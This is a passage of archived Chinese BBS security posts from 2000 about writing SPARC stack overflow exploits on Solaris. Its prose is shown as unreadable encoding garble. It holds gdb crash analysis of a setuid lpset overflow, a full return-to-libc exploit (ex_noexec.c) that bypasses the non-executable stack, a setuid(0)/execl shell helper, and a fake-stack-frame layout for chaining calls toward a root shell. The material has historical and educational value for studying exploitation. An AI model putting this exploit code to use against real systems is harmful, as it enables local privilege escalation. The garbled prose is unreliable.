ÖÃÁËsuid룬µ±¸øËüµÄ"-a"¿ª¹ØÌṩһ¸öºÜ³¤µÄ²ÎÊýʱ£¬½«µ¼ÖÂËü·¢ÉúÒç³ö¡£(Õâ¸ö©¶´ ÊÇÈÕ±¾°²È«Ð¡×éThe Shadow Penguin Security·¢ÏÖµÄ) ÏÈÀ´¿´¿´man lpset: NAME lpset - set printing configuration in /etc/printers.conf or FNS SYNOPSIS lpset [-n system | fns ] [ -x ] [ -a key=value ] [ -d key ] destination ... ÎÒÃÇ¿´µ½£¬"-a"µÄ²ÎÊýÖбØÐë°üº¬Ò»¸ö"="ºÅ£¬·ñÔò²»ÄÜÕý³£¹¤×÷¡£ ²âÊÔһϣº [root@ /test]> /usr/bin/lpset -n fns -a A=`perl -e 'print "A"x800'` blah write operation failed <----- ûÓÐÒç³ö [root@ /test]> /usr/bin/lpset -n fns -a A=`perl -e 'print "A"x1024'` blah ×ÜÏß´íÎó (core dumped) <----- OK,Òç³ö·¢ÉúÁË [root@ /test]> gdb /usr/bin/lpset core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. <...Ê¡ÂÔÏÔʾÄÚÈÝ...> (no debugging symbols found)...done. #0 0xff3770cc in ns_printer_put () from /usr/lib/libprint.so.2 (gdb) bt #0 0xff3770cc in ns_printer_put () from /usr/lib/libprint.so.2 Cannot access memory at address 0x41414179. (gdb) i r <.....> o0 0x100 256 o1 0xff38a698 -13064552 o2 0x27fa8 163752 o3 0xff3784d0 -13138736 o4 0x100 256 o5 0xff3770c4 -13143868 sp 0xffbef6d0 -4262192 <--- µ±Ç°¶ÑÕ»Ö¸Õë o7 0xff3770c4 -13143868 l0 0x41414141 1094795585 <--- localºÍin¶¼ÒѾ­±»»Ö¸´³ÉÎÒÃÇÌî³ä l1 0x41414141 1094795585 µÄÊý¾Ý0x41414141 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x41414141 1094795585 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x41414141 1094795585 i5 0x41414141 1094795585 fp 0x41414141 1094795585 i7 0x41414141 1094795585 <.....> pc 0xff3770cc -13143860 <--- ÎÒÃÇ¿´¿´³ÌÐòÏÂÒ»²½¸Ã¸ÉʲôÁË npc 0xff3770d0 -13143856 <.....> (gdb) disass 0xff3770cc <.....> 0xff3770c4 : call %o1 0xff3770c8 : mov %i0, %o0 0xff3770cc : ret <--- ÏÂÒ»²½Òª·µ»ØÁË 0xff3770d0 : restore %g0, %o0, %o0 0xff3770d4 : mov -1, %i0 0xff3770d8 : ret 0xff3770dc : restore End of assembler dump. (gdb) x/32x $sp 0xffbef6d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef6e0: 0x41414141 0x41414141 0x41414141 0x41414141<--%l0-%l7 0xffbef6f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef700: 0x41414141 0x41414141 0x41414141 0x41414141<--%i0-%i7 0xffbef710: 0x41412220 0x3e2f6465 0x762f6e75 0x6c6c2032 ------ \--- ¶àÁËÁ½¸ö×Ö½Ú 0xffbef720: 0x3e263100 0x00000001 0x00ff0000 0x00011100 0xffbef730: 0x78666e5f 0x7075745f 0x7072696e 0x74657200 0xffbef740: 0x00000000 0xff31e128 0xffbef750 0x00000000 ºÜÃ÷ÏÔ£¬³ÌÐòÊÇÔÚÖ´ÐÐÍêcall %o1ÒÔºó£¬ÔÙÖ´ÐÐret/restoreʱ³ö´íµÄ¡£ÎÒÃÇ¿´µ½Õâʱºò£¬ %i0-%i7ºÍ%l0-%l7ÒѾ­±»»Ö¸´³ÉÎÒÃÇÊäÈëµÄÊý¾Ý¡£´ÓÕâÀïÎÒÃÇÆäʵÒѾ­¿ÉÒÔ²âËã³öÎÒÃÇ ÐèÒªµÄbufsizeÁË£¬bufsize= (1024 + 2) - 2 - 8*8 - 4*4 = 944×Ö½Ú¡£ ²»¹ýÎÒÃÇ»¹ÊÇÀ´È·ÈÏһϱȽϺã¬ÎÒÃÇÔÚ¶ÑÕ»ÖÐÕÒÒ»ÕÒ"call %o1"µÄÕ»Ö¡£¬¼´È»ÎÒÃÇÊä ÈëµÄ²ÎÊý³¤¶ÈÒѾ­ÓÐ1026³¤ÁË£¬ÄÇôÎÒÃǼì²éһϵ±Ç°%sp-1200ǰ¶¼ÓÐЩʲôÄÚÈÝ£º (gdb) x/1000x $sp-1200 0xffbef240: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef250: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef260: 0x7ffffbac 0xffbef723 0xff3375e0 0xff3375d8 0xffbef270: 0x41414141 0x2200cd08 0xff000000 0x00ff0000 \--------- ÉÏÒ»¸ö±»µ÷º¯ÊýµÄÕ»Ö¡ÆðʼµØÖ· 0xffbef280: 0x0000ff00 0x01010100 0x00000000 0x00000000<--%l0-%l7 0xffbef290: 0x000252c0 0xff38a698 0x00027fa8 0xff3784d0 0xffbef2a0: 0x00000100 0xff3770c4 0xffbef6d0 0xff3770c4<--%i0-%i7 \---------- ÎÒÃǵĵ±Ç°¶ÑÕ»Ö¸Õë 0xffbef2b0: 0x000229d0 0xffbef2d0 0x00000000 0xff38b630 0xffbef2c0: 0xff38b64c 0x00026220 0x00027fa8 0x00000002<--²ÎÊýÓò 0xffbef2d0: 0x2f757372 0x2f62696e 0x2f666e63 0x72656174 \---------- ¾Ö²¿±äÁ¿ÆðʼµØÖ· 0xffbef2e0: 0x655f7072 0x696e7465 0x72202d73 0x20746869 0xffbef2f0: 0x736f7267 0x756e6974 0x2f736572 0x76696365 0xffbef300: 0x2f707269 0x6e746572 0x20626c61 0x68202022 0xffbef310: 0x413d4141 0x41414141 0x41414141 0x41414141 \---------- ÎÒÃÇÊäÈëµÄ²ÎÊýµÄÆðʼµØÖ· <......> ÎÒÃǺÜÈÝÒ×¾ÍÕÒµ½ÁËÉÏÒ»¸ö±»µ÷º¯ÊýµÄջ֡λÖÃ(0xffbef270),¾Ö²¿±äÁ¿µÄÆðʼµØÖ· ÊÇ0xffbef2d0,¶øÎÒÃÇÊäÈëµÄ²ÎÊý±»·Åµ½ÁË0xffbef310´¦£¬ÈÃÎÒÃÇ¿´µÃ¸üÇå³þÒ»µã: (gdb) x/10s 0xffbef2d0 0xffbef2d0: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah \"A=", 'A' ... 0xffbef398: 'A' ... 0xffbef460: 'A' ... 0xffbef528: 'A' ... 0xffbef5f0: 'A' ... 0xffbef6b8: 'A' , "\" >/dev/null 2>&1" 0xffbef724: "" 0xffbef725: "" 0xffbef726: "" 0xffbef727: "\001" ÕâÑùÎÒÃǾͿÉÒԵõ½×¼È·µÄbufsizeÁË,bufsize=(0xffbef6d0-0xffbef310) - 4*4 = 944 ,ºÍÇ°ÃæÍÆËãµÄÎǺϡ£ÁíÍâÐèҪעÒâµÄÊÇ£º ÎÒÃÇ¿´µ½"blah"ÊÇÎÒÃÇÊäÈëµÄ´òÓ¡»úÃû³Æ£¬Ëü±»·Åµ½ÁË"\"A=AA...A\"Ç°Ãæ£¬Òò´Ë£¬Èç¹û ´òÓ¡»úÃû³Æ³¤¶ÈÓб仯,½«µ¼ÖÂÕû¸ö"\"A=AA...A\"Íù¸ßÖ··½ÏòÒÆ¶¯£¬Òò´Ëʵ¼ÊÌî³äµÄ×Ö ½ÚÊýÊǺʹòÓ¡»úÃû³Æ³¤¶ÈÓйصġ£Êµ¼ÊÌî³ä³¤¶È= 944 + 4("blah"³¤¶ÈΪ4¸ö×Ö½Ú) - strlen(printer). ÓÐÁËÉÏÃæµÄ·ÖÎö£¬ÎÒÃǾͿÉÒÔÀ´Ð´²âÊÔ³ÌÐòÁË£º -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(4) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:15:31 2000), Õ¾ÄÚÐżþ 3. ÈÆ¹ý²»¿ÉÖ´ÐжÑÕ»±£»¤µÄÒç³ö³ÌÐò±àд ¹ØÓÚ¶ÑÕ»±£»¤ÒÔ¼°Èƹý¶ÑÕ»±£»¤µÄÌÖÂÛÒѾ­³ÖÐøÁ˺ܳ¤Ò»¶Îʱ¼äÁË£¬Solar DesignerÌá ³öÁË·µ»ØlibcµÄ·½·¨£¬NergalÓÖÌá³öÁËÒ»ÖÖαÔì¶ÑÕ»Ö¡ÀûÓÃstrcpyÀ´Èƹý²»¿ÉÖ´ÐжÑÕ» ±£»¤µÄ·½·¨£¬²»¹ýÕâЩ·½·¨¶¼ÊÇÕë¶ÔLinuxϵͳµÄ(ÎÒÒѾ­ÔÚÁíÍâµÄÎÄÕÂÀïרÃŽéÉÜÈçºÎ ÈÆ¹ýSolar DesignerµÄLinux²»¿ÉÖ´ÐжÑÕ»²¹¶¡µÄ·½·¨)¡£¶øÔÚSolaris 2.6/7(SPARCƽ ̨)ÖÐÒ²ÌṩÁËÒ»ÖÖ·½·¨À´½ûÖ¹¶ÑÕ»¿ÉÖ´ÐУ¬´Ó¶øÌá¸ßÁËϵͳµÄ°²È«ÐÔ, ¼´ÔÚ/etc/systemÖмÓÈëÁ½ÌõÓï¾ä: set noexec_user_stack = 1 set noexec_user_stack_log = 1 µÚÒ»ÌõÓÃÀ´Ê¹Óû§µÄ¶ÑÕ»²»¿ÉÖ´ÐУ¬µÚ¶þÌõÓÃÀ´¼Ç¼ÈκÎÊÔͼÔÚ¶ÑÕ»ÖÐÖ´ÐдúÂëµÄ³¢ÊÔ¡£ (×¢Ò⣺ÐèÒªÖØÐÂÆô¶¯ÏµÍ³À´Ê¹Ö®ÉúЧ ) È»¶ø£¬ÕâÖÖ±£»¤»úÖÆÈÔÈ»ÊÇ¿ÉÒÔÈÆ¹ýµÄ£¬HorizonÊ×ÏÈ·ÖÎöÁËÀûÓ÷µ »ØlibcµÄ·½·¨»÷°ÜSolaris²»¿ÉÖ´ÐжÑÕ»µÄ±£»¤¡£ÏÂÃæÎÒÃǾÍÀ´½éÉÜÒ»ÏÂÕâÖÖ·½·¨¡£ 3.1 »ù±¾Ë¼Â· SolarisµÄ²»¿ÉÖ´ÐжÑÕ»±£»¤ºÃÏñÖ»ÊǼì²é·µ»ØµØÖ·ÊDz»ÊÇÔÚ¶ÑÕ»ÖУ¬Èç¹ûÊÇ£¬¾Í±¨¶Î´í Î󣬲¢¼Ç¼£¬²¢Ã»ÓÐ×öʲôÆäËûµÄ´ëÊ©¡£ÎÒÃÇÖ»Òª²»·µ»Ø¶ÑÕ»¾Í¿ÉÒÔÁË£¬ÄÇÎÒÃÇÈ¥ÄÄÀï ÄØ£¿¿ÉÒÔ´úÂë¶Î£¬Ò²¿ÉÒÔÊÇ¿ÉÖ´ÐеÄÊý¾Ý¶Î¡£ÎÒÃÇͨ³£Òª×öµÄÊǵõ½Ò»¸öshell¡£Èç¹ûÄÜ Ö´ÐÐsystem("/bin/sh")¾Í¿ÉÒÔÁË£¬ÎÒÃÇ¿ÉÒÔÔÚ¹²Ïí¿âÖÐÕÒµ½system()µÄµØÖ·,ÓÃËüÀ´×ö ·µ»ØµØÖ·£¬²ÎÊý"/bin/sh"¿ÉÒÔ´Ó¹²Ïí¿âÖÐÕÒ(ͨ³£¶¼»á°üº¬)£¬Ò²¿ÉÒÔͨ¹ý»·¾³±äÁ¿´«µÝ¡£ ÈÔÈ»ÒÔÇ°ÃæµÄvul.cΪÀý£¬Èç¹ûÎÒÃÇҪдһ¸ö²âÊÔ³ÌÐò£¬Ö´ÐÐÁ÷³Ìͨ³£ÊÇÕâÑùµÄ£º <1> Ê×ÏȸøstrcpyÌṩ³¤²ÎÊý <2> strcpy()½«¸²¸Çmain()º¯ÊýÕ»Ö¡Öб£´æµÄ%iºÍ%l¼Ä´æÆ÷ÄÚÈÝ <3> func()º¯ÊýÖ´ÐÐresotreÖ¸ÁCWP(¼Ä´æÆ÷´°£©¼ÓÒ»£¬È»ºóÎÒÃǸ²¸ÇµÄ%iºÍ%lÖµ±»´Ó ¶ÑÕ»ÖÐÈ¡³ö£¬·ÅÈë¼Ä´æÆ÷%iºÍ%lÖÐ,%i±ä³É%o ¡£³ÌÐò·µ»Øµ½main()ÖÐÖ´ÐС£ <4> main()º¯ÊýÓÖ»áÖ´ÐÐret/restoreÖ¸ÁretÖ¸Áî»áÌøµ½(%i7+8)´¦Ö´ÐУ¬restoreÖ¸ ÁʹCWPÔÙÔö¼ÓÒ»£¬²¢½«%i±ä³É%o£¨%i0±ä³ÉÁË%o0)¡£ Èç¹ûÎÒÃǸ²¸Çʱ½«±£´æµÄ%i0ÓÃ"/bin/sh"µÄµØÖ·´úÌæ£¬±£´æµÄ%i7ÓÃ(system()µÄµØÖ·- 8) ´úÌæ£¬ÄÇôÕâʱºò³ÌÐò¾Í»áÖ´ÐÐsystem("/bin/sh")ÁË¡£µ±µ÷ÓÃsystem()º¯ÊýµÄʱºò£¬»á ÏÈÖ´ÐÐÒ»Ìõ'save'Ö¸Á½«%o0±ä³É%i0.ÓÉÓÚsystem()µÄµØÖ·²»ÔÚ¶ÑÕ»¶ÎÄÚ£¬Òò´Ë²¢²»»á Î¥·´±£»¤¹æÔò¡£ 3.2 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòex_noexec.c Ã÷°×ÁËÉÏÊö¹ý³Ì£¬ÎÒÃÇ¿ÉÒÔд²âÊÔ³ÌÐòÁË£º -------------------------------------------------------------------------------- /* ex_noexec.c * simple test exploit for Solaris with noexec_stack feature. * by warning3 * y2k/5/5 */ #include #include #include #include #define VULPROG "./vul" #define BUFSIZE 8 /* the size of overflowed buffer*/ int step; /* ËÑË÷"/bin/sh"ʱµÄ²½³¤ºÍ·½Ïò */ jmp_buf jmpenv; /* ¶¨ÒåÒ»¸öjmp_bufÀ´´¢´æµ±Ç°Õ»Ö¡ */ void fault() { if (step<0) /* Èç¹û²½³¤Ð¡ÓÚ0,»Ö¸´±£´æµÄÕ»Ö¡£¬setjmp()·µ»Ø1Öµ,·´·½ÏòËÑË÷ */ longjmp(jmpenv,1); else /* Èç¹û²½³¤´óÓÚ0,˵Ã÷ÒѾ­Á½¸ö·½Ïò¶¼ËÑË÷Íê±Ï£¬±¨´í */ { printf("Couldn't find /bin/sh at a good place in libc.\n"); exit(1); } } long get_sp(void) /* µÃµ½µ±Ç°¶ÑÕ»Ö¸ÕëµØÖ· */ { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *env[1]; /* »·¾³±äÁ¿Ö¸ÕëÊý×é */ void *handle; /* ¶¯Ì¬Áª½Ó¿â¾ä±ú */ long system_addr; /* system()µÄµØÖ· */ char *pattern; /* ¹¹Ô츲¸ÇÊý¾ÝµÄbuffer */ long sh_addr, i, fp_addr; long bufsize=BUFSIZE, patternsize ; long *addrptr; if( argc > 1 ) bufsize = atoi(argv[1]); /* ÉèÖÃÒ»¸ö¿ÉÓÃ(д)µÄfpµØÖ·£¬ÔËÐÐsystem()ʱ»áÓõ½ */ fp_addr = (get_sp() | 0xffff) & 0xfffffac0; printf("Usages: %s \n", argv[0] ); printf("Using FP address = 0x%x, Bufsize = %d\n", fp_addr, bufsize ); if (!(handle=dlopen(NULL,RTLD_LAZY))) /* ´ò¿ªµ±Ç°Ê¹ÓõĶ¯Ì¬Á¬½á¿â */ { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } /* ÕÒµ½system()µÄµØÖ· */ if ((system_addr=(long)dlsym(handle,"system"))==NULL) { fprintf(stderr,"Can't find system().\n"); exit(1); } system_addr -= 8; /* ÒòΪretʱ,»áÌøµ½(%i7+8)´¦È¥Ö´ÐУ¬ËùÒÔÕâÀïÒª¼õ8 */ /* ¼ì²éÊDz»Êǰüº¬Áã×Ö½Ú */ if (!(system_addr & 0xff) || !(system_addr * 0xff00) || !(system_addr & 0xff0000) || !(system_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("found system() at 0x%lx\n",system_addr); /* ÔÚlibc¿âÖÐËÑË÷"/bin/sh"µØÖ·£¬ÕâÊÇSolar DesignerÌṩµÄ·½·¨ */ if (setjmp(jmpenv)) /* Èç¹ûsetjmp·µ»Ø1,ÉèÖÃËÑË÷²½³¤Îª1 */ step=1; else /* Èç¹ûsetjmp·µ»Ø0(ȱʡ·µ»Ø0),ÉèÖÃËÑË÷²½³¤Îª-1 */ step=-1; sh_addr=system_addr; /* ÉèÖÃÆðʼËÑË÷µØÖ·Îªsystem()µØÖ· */ signal(SIGSEGV,fault); /* ÉèÖÃÐźŲ¶×½£¬µ±ËÑË÷µ¼Ö¶δíÎóʱ£¬Ö´ÐÐfault() */ /* ÔÚsystem()µØÖ·µÄÁ½²àËÑË÷"/bin/sh"µØÖ· */ while (memcmp((void *)sh_addr, "/bin/sh", 8)) sh_addr+=step; /* ¼ì²éµÃµ½µÄµØÖ·ÊÇ·ñ°üº¬Áã×Ö½Ú */ if (!(sh_addr & 0xff) || !(sh_addr & 0xff00) || !(sh_addr & 0xff0000) || !(sh_addr & 0xff000000)) { fprintf(stderr,"the address of \"/bin/sh\" contains a '0'. sorry.\n"); exit(1); } printf("found \"/bin/sh\" at 0x%lx\n",sh_addr); /* Ϊ¸²¸ÇÊý¾Ý·ÖÅä¿Õ¼ä */ patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ /* Ö¸ÕëÒÆ¶¯µ½±£´æµÄ%l0´¦ */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* Let's overwrite caller function's saved stack frame I know it's ugly,but just make it more clearly .:) */ /* saved %l0-%l7£¬ÕâЩÄÚÈÝ¿ÉÒÔÌî³äÈÎÒâÊý¾Ý */ *addrptr++ = fp_addr; /* %l0 */ *addrptr++ = fp_addr; /* %l1 */ *addrptr++ = fp_addr; /* %l2 */ *addrptr++ = fp_addr; /* %l3 */ *addrptr++ = fp_addr; /* %l4 */ *addrptr++ = fp_addr; /* %l5 */ *addrptr++ = fp_addr; /* %l6 */ *addrptr++ = fp_addr; /* %l7 */ /* saved %i0-%i7 */ *addrptr++ = sh_addr; /* %i0 £¬ÓÃ"/bin/sh"µØÖ·Ìî³ä */ *addrptr++ = fp_addr; /* %i1 */ *addrptr++ = fp_addr; /* %i2 */ *addrptr++ = fp_addr; /* %i3 */ *addrptr++ = fp_addr; /* %i4 */ *addrptr++ = fp_addr; /* %i5 */ *addrptr++ = fp_addr; /* saved %fp(%i6), Õâ¸ö%fp±ØÐëÊÇ¿ÉÓõĵØÖ· */ *addrptr++ = system_addr; /* saved ret addr (%i7), (system() - 8 ) */ env[0]=NULL; execle(VULPROG, VULPROG, pattern,NULL,env); } /* end of main */ ------------------------------------------------------------------------------ -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(5) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:16:46 2000), Õ¾ÄÚÐżþ 3.3 ²»Äܵõ½root shellµÄ·ÖÎöÒÔ¼°½â¾ö·½·¨ ÎÒÃÇ¿´µ½£¬ÎÒÃdzɹ¦µÃµ½ÁËÒ»¸öshell,µ«ÊÇȴûÓеõ½root shell.ÕâÊÇÒòΪsystem (cmsd)ʵ¼ÊÉÏÊÇÖ´ÐÐÁË"/bin/sh -c cmd",¶øSolaris ϵÄ/bin/shÈç¹û¼ì²éµ½½ø³ÌµÄ euid=0µ«Óû§ÕæÊµuid²»Îª0,¾Í»á½«½ø³ÌeuidÉèÖóÉÓû§ÕæÊµuid,Òò´Ë£¬ÔÚÕâÖÖÇé¿öÏ £¬ÎÒÃÇÊÇÎÞ·¨Í¨¹ýsystem()À´»ñµÃroot shellµÄ¡£ £¨ÁíÍâÎÒÃÇ×¢Òâµ½ÔÚ"exit"µÄʱºò£¬½ø³ÌËÀµôÁË£¬±ØÐë°´Ctrl_CÖÕÖ¹£¬ÕâÊÇÒòΪµ± system()Ö´ÐÐsaveºó£¬%o7»á±ä³É%i7,µ±system()ÖØÐÂret/restoreʱ,³ÌÐòÓÖ»áÌøµ½ (%i7+8),ÕâÑù³ÌÐò¾ÍÏÝÈëËÀÑ­»·ÁË¡£ÓÐÁíÍâµÄ°ì·¨À´½â¾öÕâ¸öÎÊÌ⣬ºóÃæÎÒÃÇ»áÌáµ½£© ÄÇôÎÒÃǿɲ»¿ÉÒÔÏÈÖ´ÐÐÒ»¸ösetuid(0),È»ºóÔÙÖ´ÐÐsystem()À´»ñµÃroot shellÄØ£¿ ÀíÂÛÉÏËÆºõÊÇ¿ÉÐеġ£Ö»ÒªÔÙ¹¹ÔìÒ»¸ösetuid()µÄ¼ÙÕ»Ö¡¾Í¿ÉÒÔÁË¡£µ«ÊÇʵ¼ÊÉÏÊÇÐв» ͨµÄ£¬ÒòΪSPARCƽ̨ϵĺ¯ÊýÓÐÁ½ÖÖ£¬Ò»ÖÖÊÇleaf(Ò¶º¯Êý£©£¬Ò»ÖÖÊÇ·Çleaf£¨Ò³)º¯Êý .leafº¯Êýͨ³£±È½Ï¼òµ¥£¬ÎªÁËÌá¸ßЧÂÊ£¬ËüÃDz»ÊÇÀûÓöÑÕ»´«µÝ²ÎÊý£¬¶øÖ»ÊÇÀûÓÃout ¼Ä´æÆ÷£¬Òò´Ë£¬ÔÚleafº¯ÊýµÄ¹ý³Ìµ÷ÓÃÖÐÊÇûÓÐsaveºÍrestoreÖ¸ÁîµÄ£¬ËüÃÇ·µ»ØÊ±Ê¹Óà retl¶ø²»ÊÇretÖ¸Áî¡£retlµÈ¼ÛÓÚ£º jmpl %o7, 8, %g0 £¨×¢Òâ²»ÊÇ %i7 + 8 ) ¶ø·Çleafº¯ÊýÔòʹÓÃsave/restoreÖ¸Áî±£´æ/»Ö¸´Õ»Ö¡£¬²¢Ê¹ÓÃret·µ»Ø. ÔÚÌøµ½leafº¯ÊýÖ´ÐеÄʱºò£¬retlʱÓÖ»áÌøµ½(%o7+8)È¥Ö´ÐУ¬Õâ¾ÍÏÝÈëÁËËÀÑ­»·(ÒòΪ %o7¾ÍÊÇsetuid()µÄµØÖ·-8)£¬¶øÇÒûÓа취½â¾ö¡£Òò´ËÎÒÃǵÄsystem()Ò²¾ÍÓÀÔ¶²»»á±» ¼ÌÐøÖ´ÐÐÁË¡£ ÎÒÃÇ¿´¸ö¼òµ¥µÄleafº¯ÊýµÄÀý×ÓÀ´¼ÓÉîÒ»ÏÂÀí½â£º bash-2.03$ cat > set.c main() { setuid(0); } ^D bash-2.03$ gcc -o set set.c -static bash-2.03$ gdb ./set GNU gdb 4.18 <....> No symbol "set" in current context. (gdb) disass main Dump of assembler code for function main: 0x101b8 : save %sp, -112, %sp 0x101bc : clr %o0 0x101c0 : call 0x10d74 0x101c4 : nop 0x101c8 : ret 0x101cc : restore End of assembler dump. (gdb) disass setuid Dump of assembler code for function setuid: 0x10d74 : mov 0x17, %g1 <--- ûÓÐsaveÖ¸Áî 0x10d78 : ta 8 0x10d7c : bcc 0x10d90 0x10d80 : sethi %hi(0x16400), %o5 0x10d84 : or %o5, 0x328, %o5 ! 0x16728 <_cerror> 0x10d88 : jmp %o5 0x10d8c : nop 0x10d90 : retl <--- ²»ÊÇretÖ¸Áî 0x10d94 : mov %g0, %o0 <--- ûÓÐrestoreÖ¸Áî End of assembler dump. (gdb) ÄÇôÎÒÃÇÓÃʲô°ì·¨À´½â¾öÎÊÌâÄØ£¿¿¼ÂÇÒ»ÏÂÎÒÃǵÄshellcode,ͨ³£¶¼ÊÇÖ´ÐÐµÄ execl("/bin/sh","/bin/sh",NULL). ÄÇôÎÒÃÇÒ²¿ÉÒÔͨ¹ýÖ±½ÓʹÓÃexecl()À´Ö´ÐÐÈÎÒâ ÃüÁî¡£¼ÈÈ»ÎÒÃDz»ÄÜÀûÓÃ/bin/sh,¿ÉÒÔ¿¼ÂÇÖ´ÐÐ/bin/ksh(ËüûÓÐÕâ¸öÏÞÖÆ),»òÕß/tmp/ blah,Ò»Ñù¿ÉÒÔ´ïµ½ÎÒÃǵÄÄ¿µÄ¡£ -------------------------------------------------- /* gcc -o /tmp/blah /tmp/blah.c */ main() { setuid(0); execl("/bin/sh","/bin/sh",0); } --------------------------------------------------- Âé·³µÄÊÇexecl()µÄµÚÈý¸ö²ÎÊýÊÇ0,Òò´ËÎÒÃDz»Äܽ«Ëüͨ¹ý²ÎÊý´«µÝ£¬ÎÒÃÇ¿¼ÂÇÁíÍâÒ»ÖÖ ·½·¨£º ÔÚ»·¾³±äÁ¿Öй¹ÔìÒ»¸ö¼ÙµÄÕ»Ö¡£¬½«execl()ÓõIJÎÊý·Å½øÈ¥¡£ ÕâÖÖ·½·¨Ò²¿ÉÒÔÓÃÀ´Ö´ÐÐÒ»´®·Çleafº¯Êý£¨¹¹Ôì¶à¸ö¼ÙÕ»Ö¡),Ö»Òª½«µÚ¶þ¸öÒªÖ´Ðеĺ¯Êý µÄµØÖ··Åµ½µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%i7ÖУ¬²¢½«µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%fpÖ¸ÏòµÚ¶þ¸öº¯ÊýµÄÕ»Ö¡Æð ʼµØÖ·¾ÍÐÐÁË¡£µ«ÊÇÕâÖÖ·½·¨ÓÐÒ»µãҪעÒâµÄ¾ÍÊÇÎÒÃÇÐèÒªÌø¹ý¸Ã·Çleafº¯ÊýµÄsaveÖ¸Áî ¡£ ¶ÑÕ»µÍÖ· __________ %fp | %l0-%l7 | 8*4 ±£´æmain()µÄ%l0-%l7¼Ä´æÆ÷ |__________| %fp+32 | %i0-%i5 | 6*4 ±£´æmain()µÄ%i0-%i5¼Ä´æÆ÷ |__________| %fp+56 | %fp1 | 1*4 = Ö¸Ïò»·¾³±äÁ¿ÖеļÙÕ»Ö¡ ---\ |__________| | %fp+60 | %i7 | 1*4 = (execl()-4) | |__________| | ·µ»Øµ½mainÖ®ºó£¬%fpÖ¸Ïò¼ÙÕ»Ö¡ | %i7Ö¸Ïòexecl()-4£¬µ±´Ómain·µ»ØµÄʱºò »·¾³±äÁ¿£º | ÒòΪretÖ¸ÁîÏ൱ÓÚjmpl %i7+8, %g0£¬ __________ | ÓÚÊǽøÈëexeclÁ÷³Ì£»¶ørestore»á¸ù¾Ý%fp %fp1 | %l0-%l7 | 8*4 <-----------------------------/ »Ö¸´¼Ä´æÆ÷ |__________| %fp1+32| %i0 | 1*4 = "/bin/sh"µÄµØÖ· |__________| %fp1+36| %i1 | 1*4 = "/bin/sh"µÄµØÖ· |__________| %fp1+40| %i2 | 1*4 = 0x00000000 |__________| %fp1+44| %i3 | 1*4 = ÈÎÒâÊý¾Ý |__________| %fp1+48| %i4 | 1*4 = ÈÎÒâÊý¾Ý |__________| %fp1+52| %i5 | 1*4 = ÈÎÒâÊý¾Ý |__________| %fp1+56| %fp2 | 1*4 = Ö¸ÏòÏÂÒ»¸ö·Çleafº¯ÊýµÄ¼ÙÕ»Ö¡ --------> .... |__________| %fp1+60| %i7 | 1*4 = ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ· - 4 |__________| ¶ÑÕ»¸ßÖ· µ±ÎÒÃǸ²¸Çµômain()º¯ÊýµÄ±£´æµÄ%lºÍ%iºó£¬µ±func()Ö´ÐеÚÒ»¸öret/resotre £¬·µ»Øµ½main()ÀïÃæ£¬Õâʱ%fp¾ÍÖ¸ÏòÁË»·¾³±äÁ¿ÖеļÙÕ»Ö¡µØÖ·£¬%i7=(execl()-4) µ±main()º¯ÊýÔÙ´ÎÖ´ÐÐret/resotreʱ£¬%fpÖб£´æµÄ¼ÙÕ»Ö¡ÄÚÈݱ»»Ö¸´µ½%lºÍ%i¼Ä´æÆ÷ 